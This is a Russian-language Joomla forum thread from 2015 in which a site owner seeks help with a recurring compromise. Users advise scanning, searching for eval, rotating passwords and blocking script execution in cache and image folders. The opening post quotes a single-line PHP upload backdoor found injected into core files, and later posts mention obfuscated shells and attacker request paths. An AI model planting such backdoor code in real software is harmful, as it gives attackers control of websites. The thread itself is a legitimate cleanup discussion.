0 Пользователей и 1 Гость просматривают эту тему.
  • 19 Ответов
  • 4309 Просмотров
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Уязвимость Joomla
« : 07.06.2015, 16:56:48 »
Добрый день, проблема такая, в 5х php файлах (loader.php , import.legacy.php, cms.php...) были обнаружены такие строчки:
"if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); echo 'OK'; Exit;}"
после чего сайт перестал работать до их удаления, 3 недели до этого, был похожий случай, так же пофикшен их удалением, в чем проблема, где может быть дыра?
Так же в файле config.php содержится такой код, это нормально?
Спойлер
[свернуть]
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Re: Уязвимость Joomla
« Ответ #1 : 07.06.2015, 17:12:21 »
версия Joomla ? сканером еще поищи вирус/шелл
config.php удали
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #2 : 07.06.2015, 17:29:08 »
версия Joomla ? сканером еще поищи вирус/шелл
config.php удали
Версия 3.1, какой сканер посоветуете? config.php удалил
*

wishlight

  • Живу я здесь
  • 4981
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Уязвимость Joomla
« Ответ #3 : 07.06.2015, 19:30:07 »
ai-bolit. ПС.. Не люблю доктора :)
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #4 : 11.06.2015, 21:01:16 »
Почистил сайт, но начали появлятся файлы под названиями "config.php" "libraries/joomla/crypt/error.php" "public_html/includes/system.php" "./public_html/images/sampledata/xml.php
.//public_html/images/color/session.php
./public_html/sxd/lang/view.php"
С содержимым по типу config.php в шапке топика, в чем может быть проблема, неужто из за версии движка 3.3.1? Есть ли способы найти проблему и что делать? В логах ничего интересного.
*

beliyadm

  • Легенда
  • 9758
  • 1664 / 66
  • Севастополь, Россия
Re: Уязвимость Joomla
« Ответ #5 : 11.06.2015, 21:05:24 »
значит внимательно читать access.log и прочие логи, скорей всего где то сидит типа шелл, который это дело и производит
Можно пройтись поиском по всему сайту, поискать где есть вхождение eval
Все расширения на сайте легальны и куплены? Пароли на все (фтп, бд, админ) изменены?
Все истины, которые я хочу вам изложить, — бесстыдная ложь. Сделать всё хорошо
TLG: @Beliyadm
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #6 : 11.06.2015, 21:19:17 »
значит внимательно читать access.log и прочие логи, скорей всего где то сидит типа шелл, который это дело и производит
Можно пройтись поиском по всему сайту, поискать где есть вхождение eval
Все расширения на сайте легальны и куплены? Пароли на все (фтп, бд, админ) изменены?
Все легально, все пароли сменили, на eval искал по ftp, много нашёл и удалил, проверил антивирусниками и в ручную, но вчера опять появился новый файл ("libraries/joomla/crypt/error.php"), в котором был вредоносный код, в логах ничего интересного нет.
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Re: Уязвимость Joomla
« Ответ #7 : 11.06.2015, 21:24:46 »
Встречал еще и такой файл, в начале проверка пароля через $auth_pass , а потом обфусцированный код
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #8 : 11.06.2015, 21:27:32 »
Встречал еще и такой файл, в начале проверка пароля через $auth_pass , а потом обфусцированный код
Что в таком случае делать? Обновлять двиг не хочется, да и не уверен что поможет, чистить каждый день от вирусов тоже не вариант, хостинг уже заблокировал почтовые ф-ции аккаунта...
*

beliyadm

  • Легенда
  • 9758
  • 1664 / 66
  • Севастополь, Россия
Re: Уязвимость Joomla
« Ответ #9 : 11.06.2015, 21:30:49 »
слить все на локаль, еще раз проверить всеми антивирусами и руками на eval и подобное
сменить все логины\пароли, адреса, ipшники, страну проживания

Ну честно, не бывает чудес, либо вы ставили варезное расширение либо у вас в компе вирус, который есть младенцев берет пароли с ftp клиента и все
Все истины, которые я хочу вам изложить, — бесстыдная ложь. Сделать всё хорошо
TLG: @Beliyadm
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Re: Уязвимость Joomla
« Ответ #10 : 11.06.2015, 22:16:08 »
Что в таком случае делать? Обновлять двиг не хочется, да и не уверен что поможет, чистить каждый день от вирусов тоже не вариант, хостинг уже заблокировал почтовые ф-ции аккаунта...
Если Joomla твоей версии и расширения содержать уязвимость, то нет смысла каждый день чистить.
Можно применить сканер мониторинга файлов, типа Eyesite . Узнать откуда рассылка спама можно, если версия PHP не ниже 5.3, с помощью mail.add_x_header
*

beliyadm

  • Легенда
  • 9758
  • 1664 / 66
  • Севастополь, Россия
Re: Уязвимость Joomla
« Ответ #11 : 11.06.2015, 22:17:55 »
Если Joomla твоей версии и расширения содержать уязвимость, то нет смысла каждый день чистить.
Простите, что? если расширения содержат уязвимость - нет смысла их искать и чистить?
И что означает "твоей"?
Все истины, которые я хочу вам изложить, — бесстыдная ложь. Сделать всё хорошо
TLG: @Beliyadm
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #12 : 12.06.2015, 01:31:20 »
Проверил файлы, нашёл в 30 файлах такой код:
Так же заметил, что все файлы были модифицырованы 08.06 в 1.27
Ацес логи за то время:
Спойлер
[свернуть]
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #13 : 12.06.2015, 01:35:49 »
Насколько я понял, все началось после ""GET /cache/cwm.php " в самом файле, который я потер только что, лежал огромный eval код, так ли?
За 7 число нашёл логи с файлом cwp.php в котором похожий код:
Спойлер
[свернуть]
Что скажете по логам, каким способом вредоносные файлы попали на сайт? Все таки проблема в слитых паролях или каких то уязвимостях?
« Последнее редактирование: 12.06.2015, 01:46:50 от 13th_doctor_who »
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Re: Уязвимость Joomla
« Ответ #14 : 12.06.2015, 07:56:08 »
.htaccess , с запретом на выполнение скриптов, в папку кеш, и желательно еще и в /images
*

wishlight

  • Живу я здесь
  • 4981
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Re: Уязвимость Joomla
« Ответ #15 : 12.06.2015, 08:39:11 »
неужто из за версии движка 3.3.1

Да
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #16 : 12.06.2015, 14:10:34 »
.htaccess , с запретом на выполнение скриптов, в папку кеш, и желательно еще и в /images
Не думаю что поможет, так как подобная проблема была в других папках, может посоветуете какой то плагин, который заблокирует действия по типу:
"POST /cache/com_jcomments_objects_com_jshopping/plugin.php"
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Уязвимость Joomla
« Ответ #17 : 12.06.2015, 14:59:44 »
Не думаю что поможет, так как подобная проблема была в других папках, может посоветуете какой то плагин, который заблокирует действия по типу:
"POST /cache/com_jcomments_objects_com_jshopping/plugin.php"
Другие папки тоже надо закрывать, а не только кеш и images

Что скажете по логам, каким способом вредоносные файлы попали на сайт? Все таки проблема в слитых паролях или каких то уязвимостях?
этих логов не достаточно, было бы не плохо посмотреть дату создания и модификации вредоносных файлов и по цепочки отслеживать. Проблемой может быть что угодно, как просто слитые пароли, так и уязвимсоти и не надежность хостера, тут нужно комплексно подходить к решению задачи, грамматно навести профилактические меры, чистку вредоносов, выставить политику логирования, также бы не помешала, какая нить система IDS но такие систему могут нагружать работу CMS.
« Последнее редактирование: 12.06.2015, 15:08:57 от winstrool »
*

13th_doctor_who

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Уязвимость Joomla
« Ответ #18 : 12.06.2015, 15:11:49 »
Другие папки тоже надо закрывать, а не только кеш и images
Закрыл через .htaccess:
Спойлер
[свернуть]
Поставил на сайт: Eyesite (Для мониторинга изменений) и Marco's SQL Injection - LFI Interceptor для защиты.
Почистил все файлы, буду надеяться что поможет.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Уязвимость Joomla
« Ответ #19 : 12.06.2015, 15:16:20 »
Закрыл через .htaccess:
Спойлер
[свернуть]
Поставил на сайт: Eyesite (Для мониторинга изменений) и Marco's SQL Injection - LFI Interceptor для защиты.
Почистил все файлы, буду надеяться что поможет.
Недостаточно расширений, обходятся легко!, не поможет.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Как выявить вредоностный код на CMS Joomla?

Автор stud_pro

Ответов: 1
Просмотров: 83
Последний ответ Сегодня в 10:06:10
от wishlight
Вирус редирект или взлом с редиректом Joomla 3.10

Автор Wany205

Ответов: 1
Просмотров: 1029
Последний ответ 25.05.2023, 08:49:57
от Театрал
Скрипты защиты Joomla 4

Автор mister_boy

Ответов: 6
Просмотров: 1161
Последний ответ 16.05.2023, 16:38:58
от mister_boy
Поставил Joomla 4. Хостинг nic.ru стал ругаться на ошибки безопасности

Автор Oleg+

Ответов: 5
Просмотров: 1402
Последний ответ 13.09.2021, 09:23:28
от Oleg+
Joomla 1.5 и 2.5 на одном хостинге

Автор andreU

Ответов: 28
Просмотров: 13117
Последний ответ 25.04.2021, 19:42:48
от rsn